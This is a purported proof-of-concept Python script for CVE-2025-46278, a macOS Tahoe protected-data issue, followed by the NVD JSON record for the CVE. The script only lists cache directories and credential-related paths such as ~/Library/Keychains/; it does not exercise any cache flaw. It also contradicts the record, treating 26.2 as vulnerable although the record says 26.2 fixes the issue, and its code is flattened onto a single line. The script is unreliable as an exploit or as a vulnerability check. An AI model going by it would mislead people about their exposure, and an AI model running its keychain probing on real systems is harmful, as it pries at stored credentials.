CVE-2025-46278

# CVE-2025-46278 PoC - macOS Tahoe Cache Access Vulnerability # This PoC demonstrates the cache access vulnerability in macOS Tahoe # Note: This is a conceptual PoC for educational purposes only import os import sys import subprocess def check_macos_version(): """Check if running on vulnerable macOS version""" try: result = subprocess.run(['sw_vers', '-productVersion'], capture_output=True, text=True) version = result.stdout.strip() print(f"[*] Detected macOS version: {version}") return version except Exception as e: print(f"[-] Error detecting OS version: {e}") return None def enumerate_cache_directories(): """Enumerate potential cache directories that might be accessible""" cache_paths = [ "/Library/Caches/com.apple.caches", "~/Library/Caches", "/private/var/folders/", "/System/Library/Caches" ] accessible_caches = [] for cache_path in cache_paths: expanded_path = os.path.expanduser(cache_path) if os.path.exists(expanded_path): try: # Attempt to list contents contents = os.listdir(expanded_path) print(f"[+] Accessible cache directory: {expanded_path}") print(f" Contents: {len(contents)} items") accessible_caches.append(expanded_path) except PermissionError: print(f"[-] Permission denied: {expanded_path}") return accessible_caches def attempt_protected_data_access(): """Attempt to access potentially protected cache data""" print("[*] Attempting to access protected cache data...") # Common locations where sensitive data might be cached sensitive_paths = [ "/private/var/folders/zz/zyxvpxvq6csfxvn_n00010b0000048/", "/Library/Application Support/", "/System/Library/Security/", "~/Library/Keychains/" ] for path in sensitive_paths: expanded_path = os.path.expanduser(path) if os.path.exists(expanded_path): try: # List directory contents items = os.listdir(expanded_path) print(f"[+] Successfully accessed: {expanded_path}") print(f" Found {len(items)} items") for item in items[:5]: # Show first 5 items print(f" - {item}") except PermissionError: print(f"[-] Access denied: {expanded_path}") def main(): print("=" * 60) print("CVE-2025-46278 PoC - macOS Tahoe Cache Vulnerability") print("=" * 60) # Check OS version version = check_macos_version() if version and "26.2" in version: print("[!] Target appears to be macOS Tahoe 26.2") print("[!] System may be vulnerable if not patched") # Enumerate accessible caches print("\n[*] Enumerating accessible cache directories...") accessible = enumerate_cache_directories() # Attempt protected data access print("\n[*] Testing protected data access...") attempt_protected_data_access() print("\n[*] Analysis complete") print("[*] Recommendation: Update to macOS Tahoe 26.2 or later") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-46278", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:13.247", "lastModified": "2025-12-18T20:15:56.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved handling of caches. This issue is fixed in macOS Tahoe 26.2. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}